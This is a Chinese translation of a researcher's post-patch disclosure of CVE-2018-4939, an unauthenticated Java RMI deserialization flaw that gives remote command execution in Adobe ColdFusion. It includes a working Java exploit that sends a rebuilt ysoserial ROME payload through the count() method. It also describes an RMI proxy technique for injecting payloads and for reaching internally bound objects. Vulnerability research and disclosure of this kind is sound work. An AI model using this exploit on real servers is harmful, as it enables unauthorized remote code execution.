原文: https://nickbloor.co.uk/2018/06/18/another-coldfusion-rce-cve-2018-4939/
2017年10月,我发布了一篇介绍影响Adobe ColdFusion Flex集成服务的 Java RMI/反序列化漏洞的概述性文章 以及相应的概念验证视频。由于本人发现有些漏洞利用代码对于已经打过补丁的服务器来说仍然奏效,因此,当时并没有公布完整的漏洞细节和漏洞利用代码。
令人欣慰的是,Adobe已经 再次更新 了该软件,所以,现在终于可以将这个漏洞的所有细节公之于众了。
众所周知,Java远程方法调用(RMI)协议几乎是纯 Java序列化 的方式实现的——当我们从RMI注册表服务那里请求对象,并调用该对象的方法时,通过网络传输的数据都将采用Java序列化格式。例如,ColdFusion的Flex集成的RMI服务公开了如下所示的类的一个对象:
coldfusion.flex.rmi.DataServicesCFProxy
这个类位于ColdFusion安装目录下的“libs/cfusion.jar”文件中,具体代码如下所示:
package coldfusion.flex.rmi; import java.rmi.Remote; import java.rmi.RemoteException; import java.util.List; import java.util.Map; public abstract interface DataServicesCFProxy extends Remote { public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException; public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException; public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException; public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException; public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException; } package coldfusion.flex.rmi; import java.rmi.Remote; import java.rmi.RemoteException; import java.util.List; import java.util.Map; public abstract interface DataServicesCFProxy extends Remote { public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException; public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException; public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException; public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException; public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException; }
对于上面的每个方法来说,都可以将任意的Java对象作为参数来进行调用。需要注意的是,诸如List和Map之类的容器,是可以包含任意的Java对象的。问题在于,由于我们无需身份验证即可与该RMI服务进行交互,所以,任何能通过网络访问该服务的人,都可以向其提供二进制形式的Java对象,这样就有机会发动Java反序列化攻击了(例如,以方法参数的形式提供 ysoserial 的有效载荷)。
不幸的是,所有的ysoserial有效载荷在这里都无法正常使用。
之前,我在关于ColdFusion CVE-2017-11283和CVE-2017-11284的文章中,曾经介绍过如何修改ysoserial有效载荷来成功利用该入口点,以及如何使用Mozilla Rhino JavaScript库来远程执行命令。就本文而言,采用的技术和入口点跟前面的文章中的都是一样的,但目标却变成了与ColdFusion捆绑在一起的 ROME库 (具体参见“libs/rome-cf.jar”)。
下面的代码是一个简单的RMI客户端程序,它从RMI注册表服务获取ColdFusion DataServicesCFProxy对象,然后调用远程的count()方法,注意该方法的参数为null:
package nb.barmie.demo; import coldfusion.flex.rmi.DataServicesCFProxy; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class CFRMIDemo { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default"); obj.count(null, null, null); } } package nb.barmie.demo; import coldfusion.flex.rmi.DataServicesCFProxy; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class CFRMIDemo { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default"); obj.count(null, null, null); } }
count()方法的第二个参数是一个java.lang.Object数组,这意味着我们可以在该参数中提供二进制形式的对象,并且这些对象将在服务器上进行反序列化处理。我们可以在运行时通过ysoserial生成一个二进制形式的有效载荷对象,并将其传递给count()方法,但是,ysoserial的ROME有效载荷与ColdFusion捆绑的ROME版本无法兼容。所以,当我们尝试这种方法时,服务器会指出服务器端的类与通过网络发送的序列化对象不兼容。之所以出现这种情况,主要是serialVersionUID字段不匹配所致。
在2018年4月推出新的更新之前,利用ColdFusion RMI服务漏洞的最简单方法是重新构建ysoserial。具体来说,就是利用ColdFusion安装目录中的“libs/rome-cf.jar”来构建ysoserial,而不是使用rome 1.0(Maven的依赖项)。完成上述工作后,就可以使用以下代码来生成和投递有效载荷了:
package nb.barmie.exploit.standalone; import coldfusion.flex.rmi.DataServicesCFProxy; import ysoserial.payloads.ROME; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class CFRMIExploit { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default"); obj.count(null, new Object[] { new ROME().getObject(args[2]) }, null); } } package nb.barmie.exploit.standalone; import coldfusion.flex.rmi.DataServicesCFProxy; import ysoserial.payloads.ROME; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class CFRMIExploit { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default"); obj.count(null, new Object[] { new ROME().getObject(args[2]) }, null); } }
我们可以通过参数host、port和command来运行上述漏洞利用代码。
在RMI安全方面完成大量工作之后,我决定在自己的RMI枚举和攻击工具 BaRMIe 中实现这个反序列化漏洞的利用代码。虽然这样做的话,这个利用代码会更加复杂,但同时也会更强大。在不久的将来,我会发布这个版本的漏洞利用代码,但现在,不妨先来解释一下它的运行原理!
我们知道,远程方法调用会涉及两个网络服务和两个不同的网络连接。第一个网络服务是RMI注册表服务,通常可以在TCP端口1099上找到,它实际上就是一个目录服务,用于将Java对象引用绑定到相应的名称上面。下面第4行的代码的作用,是连接到10.0.0.30:1099上的RMI注册表服务,并请求引用绑定名称为“Foo”的对象:
public class RMIList { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099); SomeClass obj = (SomeClass)reg.lookup("Foo"); } } public class RMIList { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099); SomeClass obj = (SomeClass)reg.lookup("Foo"); } }
第二个网络服务用于与对象本身进行通信。当对象绑定到RMI注册表服务中的给定名称时,对象的主机和端口将存储在注册服务中(而知道了对象的主机和端口,就可以找到对象本身了)。从RMI注册表服务中检索对象引用时,RMI注册表服务返回的数据中将包括对象的网络服务的主机和端口。下面第5行代码的作用是连接到RMI对象服务并调用someMethod()方法:
public class RMIList { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099); SomeClass obj = (SomeClass)reg.lookup("Foo"); obj.someMethod("String Param"); } } public class RMIList { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099); SomeClass obj = (SomeClass)reg.lookup("Foo"); obj.someMethod("String Param"); } }
在构建BaRMIe时,我的目标是尽可能多地包含漏洞利用有效载荷(POP gadget链),同时摆脱各种依赖项和单个依赖项的多个版本之类的纠葛。为了实现这一目标,我采用了硬编码静态有效载荷并按需生成动态部分(例如命令字符串和相应的长度字段)的方式。但是问题在于,没有办法将二进制字节注入到RMI连接上,以便让接收服务器对这些字节进行反序列化。为了实现这个目标,我建立了一个代理框架,以便在两个连接之间发动中间人攻击。它的工作原理如下所示:
既然远程方法调用是通过代理来完成的,那么自然就有机会完全控制该协议了,同时,原来Java虚拟机不许“碰”的一些东西,现在也可以尽情鼓捣了:一个很好的例子就是,如果一个远程方法预期的参数类型为java.lang.String,那么,就无法提供二进制形式的对象了,但是,如果使用代理在网络级别修改出站远程方法调用的话,就可以提供二进制形式的对象,并让服务器将对其进行反序列化处理了。
使用RMI方法代理时,可以通过常规方式使用占位符参数(而非有效载荷对象)来调用远程方法。当该方法代理检测占位符对象的字节时,我们可以用经过反序列化处理的有效载荷的字节流来替换这些占位符字节。
当我第一次在ColdFusion安装目录中发现文件“libs/rome-cf.jar”时,我做的第一件事就是利用BaRMIe创建了一个漏洞利用程序,让它利用RMI方法代理注入两个来自ysoserial的、基于ROME有效载荷的有效载荷。虽然这些努力并没有成功,但服务器的响应表明,问题在于本地类不兼容,并给出了服务器端类的serialVersionUID。本着不达目的不罢休的精神,我对自己的有效载荷进行了多次改进,最后终于使有效载荷中的serialVersionUID值与服务器上的值相匹配了,换句话说,又可以对ColdFusion发动远程命令执行攻击了。
也许读者会觉得上面介绍的代理技术非常复杂,但实际上,BaRMIe已经实现了相应的功能,因此,开发这个漏洞利用程序的时候,我只花了半小时就搞定了。
除了可以突破Java虚拟机的某些限制之外,本文介绍的代理方法还有一项额外的优势:控制某些服务。具体来说,就是许多所谓的“内部”RMI服务实际上并不是只对内使用的。您可以将对象绑定到RMI注册表,并给人这样的印象,即它们已经绑定到诸如127.0.0.1或10.0.0.30甚至host.yourbusiness.local上面。如果外部攻击者使用上面介绍的简单漏洞利用方法获得这些对象的引用后,实际上是无法攻击RMI服务的,因为他们无法访问这些内部地址。
但是,默认情况下,RMI对象服务将绑定到所有网络接口。假设目标的外部地址是8.8.8.9,RMI注册表会返回一个对象引用,该对象引用实际上指向目标的内部地址,即10.8.8.9:30001。默认情况下,也可以通过连接对象的外部地址上的相同端口,即8.8.8.9:30001来访问这个对象(内部地址为10.8.8.9:30001的那个对象)。通过代理RMI注册表连接,我们可以检测并自动修改RMI连接,从而对“内部绑定”的对象发起攻击。